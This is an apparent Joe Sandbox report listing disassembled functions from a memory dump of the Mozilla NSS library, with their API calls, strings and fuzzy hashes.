Opcode Fuzzy Hash: 845f86817d18bd9057d70a0bcf9f4d1720fa8b7f391bc3e77d5b77f0572a5168
Instruction Fuzzy Hash: 8F41D4B1900215DFDB14CF68CF8496A37A6BF85319B15692CE81D8BB51D731E811CBE1

Function 6C744E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C744E90
EnterCriticalSection.KERNEL32 ref: 6C744EA9
TlsGetValue.KERNEL32 ref: 6C744EC6
EnterCriticalSection.KERNEL32 ref: 6C744EDF
PL_HashTableLookup.NSS3 ref: 6C744EF8
PR_Unlock.NSS3 ref: 6C744F05
PR_Now.NSS3 ref: 6C744F13
PR_Unlock.NSS3 ref: 6C744F3A

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Strings

bUtl, xrefs: 6C744E5C
bUtl, xrefs: 6C744F3F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUtl$bUtl
API String ID: 326028414-772124833
Opcode ID: 687724d3e471ce764f2f897cba6b3246667431fa76c086c5ad814839c74ac26d
Instruction ID: 2cf4d9abd572cb93a12cab3199dec9656eab456571947ad3b19f199c3d4bcdf5
Opcode Fuzzy Hash: 687724d3e471ce764f2f897cba6b3246667431fa76c086c5ad814839c74ac26d
Instruction Fuzzy Hash: 87416BB4A04615DFCB11EF78C1888AABBF0FF49308B058569EC999B711EB30E855CBD1

Function 6C76ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C76DE64), ref: 6C76ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76ED22

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

PL_FreeArenaPool.NSS3(?), ref: 6C76ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C76ED6B
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C76ED38

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C76ED52
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C76ED83
PL_FreeArenaPool.NSS3(?), ref: 6C76ED95
PL_FinishArenaPool.NSS3(?), ref: 6C76ED9D

Part of subcall function 6C7864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C78127C,00000000,00000000,00000000), ref: 6C78650E

Strings

security, xrefs: 6C76ED06

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 11fe5fe796593a228d43b09cae46f5379df6e08ff9b2785ff2c310d3d0d916b7
Instruction ID: eff3f395bf31c286fbbf642958c0139cf1d4c56772b1bddd04df0fb8313d2029
Opcode Fuzzy Hash: 11fe5fe796593a228d43b09cae46f5379df6e08ff9b2785ff2c310d3d0d916b7
Instruction Fuzzy Hash: E71105769012187BEA205666EE4DBBF7278AF0274CF000934ED1562F41FB29A70CD6F6

Function 6C752CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C752CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C752D07

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C752D22

Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830B88
Part of subcall function 6C8309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C830C5D
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C830C8D
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830C9C
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830CD1
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C830CEC
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830CFB
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830D16
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C830D26
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D35
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C830D65
Part of subcall function 6C8309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C830D70
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830D90
Part of subcall function 6C8309D0: free.MOZGLUE(00000000), ref: 6C830D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C752D3B

Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C830BAB
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830BBA
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C752D54

Part of subcall function 6C8309D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C830BCB
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830BDE
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830C16

Strings

pPin = 0x%p, xrefs: 6C752D1D
C_InitToken, xrefs: 6C752CE7
pLabel = 0x%p, xrefs: 6C752D4F
slotID = 0x%x, xrefs: 6C752D02
ulPinLen = %d, xrefs: 6C752D36

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 712e430cf55f90c3e25b734a34312aaa28a0e524923633b566efa607c1b02742
Instruction ID: d9778a2049ebe63e42b73a06119af8f5e1896a2edb15e9eefbcf3f8bb74302ab
Opcode Fuzzy Hash: 712e430cf55f90c3e25b734a34312aaa28a0e524923633b566efa607c1b02742
Instruction Fuzzy Hash: 8021C776203248AFDB309B58DF8DA593BB5EB4331DF858430E50893B22DB749828DBD1

Function 6C830EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C712357), ref: 6C830EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C712357), ref: 6C830EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C830EE6

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C830EFA

Part of subcall function 6C71AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C71AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F2B

Strings

Aborting, xrefs: 6C830EB3
Assertion failure: %s, at %s:%d, xrefs: 6C830ED9, 6C830EE5, 6C830F06, 6C830F0B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: d82d0a56ceae790b86148dd6cf181a8abf3b2ac577c125d9039510b00c875a58
Instruction ID: a26492cdb78879fe17c2ef4a3cd8d21a2b0609dee93d281a056904477590e147
Opcode Fuzzy Hash: d82d0a56ceae790b86148dd6cf181a8abf3b2ac577c125d9039510b00c875a58
Instruction Fuzzy Hash: CCF0D1B59001287BDA212BA19E4EC8F3E2DDF52268F004430FD0956603EA75E91896F2

Function 6C794DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C794DCB

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C794DE1

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C794DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C794E59

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C85300C,00000000), ref: 6C794EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C794EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C794F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C79521A

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 1f11e031fa1fae851083102b08f63b782d2d03e82a502506aa597e60e284459c
Instruction ID: e1a6462bda5f4259499316799633bc30df45235f5b920f42f2bdb488c9a2f140
Opcode Fuzzy Hash: 1f11e031fa1fae851083102b08f63b782d2d03e82a502506aa597e60e284459c
Instruction Fuzzy Hash: 64F19D71E0120ACFDB04CF58E9407AEB7B2BF44359F258229E915AB781E775E981CB90

Function 6C724FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C870148,?,6C736FEC), ref: 6C72502A
PR_NewLock.NSS3(00000001,00000000,6C870148,?,6C736FEC), ref: 6C725034
PL_NewHashTable.NSS3(00000000,6C77FE80,6C77FD30,6C7CC350,00000000,00000000,00000001,00000000,6C870148,?,6C736FEC), ref: 6C725055
PL_NewHashTable.NSS3(00000000,6C77FE80,6C77FD30,6C7CC350,00000000,00000000,?,00000001,00000000,6C870148,?,6C736FEC), ref: 6C72506D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 53008e4b77fbdf217de5d8d3c59ffcc39af215cfe3cfaa5946299db8fe1b6d8a
Instruction ID: fd4e2dd10432ba25b2275c465fc2ceba98d3763173b851d0c8b6b1814805d77f
Opcode Fuzzy Hash: 53008e4b77fbdf217de5d8d3c59ffcc39af215cfe3cfaa5946299db8fe1b6d8a
Instruction Fuzzy Hash: 1331B5B5B062209BDF709A699E4CB5777B8BB1376CF254134EA0587E44E37CA804CBE1

Function 6C6C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C6C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C6C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C3178

Strings

%s at line %d of [%.10s], xrefs: 6C6C3171
database corruption, xrefs: 6C6C316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C3022, 6C6C3156, 6C6C3162, 6C6C318A, 6C6C3196, 6C6C31A2, 6C6C31AE, 6C6C31BA, 6C6C31C6

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4b1f7e2df0088a24dfa72e4d055fe0fd64a6a73182a9421c0c59bd8ef969cdba
Instruction ID: 8b30aae6a4bb2a74cf92633fc8919df68b3f0343df70467b917dbbf8193a9295
Opcode Fuzzy Hash: 4b1f7e2df0088a24dfa72e4d055fe0fd64a6a73182a9421c0c59bd8ef969cdba
Instruction Fuzzy Hash: B3B19CB0F052199FCB18CF9DC885AEEB7B1FB48304F148429E849B7B45D374A845CBA9

Function 6C73FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C73FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C73FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C73FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C73FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C73FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C73FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C73FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73FD84

Strings

:, xrefs: 6C73FD78

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 13646b5c4beb079d8d157c8a4677b43d5179d77fc881e27308d1a80689715688
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 523126B2D012295BEB118BA4DE1A7AF77A8AF40398F151474DC1CA7B02E371E908C7D2

Function 6C756C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C756C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C756C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C756CA3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C756CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C756CD5

Strings

(CK_INVALID_HANDLE), xrefs: 6C756C9C
pMechanism = 0x%p, xrefs: 6C756CD0
C_DigestInit, xrefs: 6C756C61
hSession = 0x%x, xrefs: 6C756C7E, 6C756C8E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 6fd0f86aeb53770fc6808529e1b97b1f78366cc69250d22f0cd43f8c829cbc98
Instruction ID: d2cf3a96249879455c989acbb0973d747f6976ff3540cc7f4e73fa632a941c96
Opcode Fuzzy Hash: 6fd0f86aeb53770fc6808529e1b97b1f78366cc69250d22f0cd43f8c829cbc98
Instruction Fuzzy Hash: E021E335A021549BDB209B689F8DB9E37B5EB4331DF854435E80997F02DF34AA18CBD1

Function 6C720F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C720F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C720F84

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C73F59B,6C84890C,?), ref: 6C720FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C720FC1

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C720FDB
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C720FEF
PL_FreeArenaPool.NSS3(?), ref: 6C721001
PL_FinishArenaPool.NSS3(?), ref: 6C721009

Strings

security, xrefs: 6C720F5C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
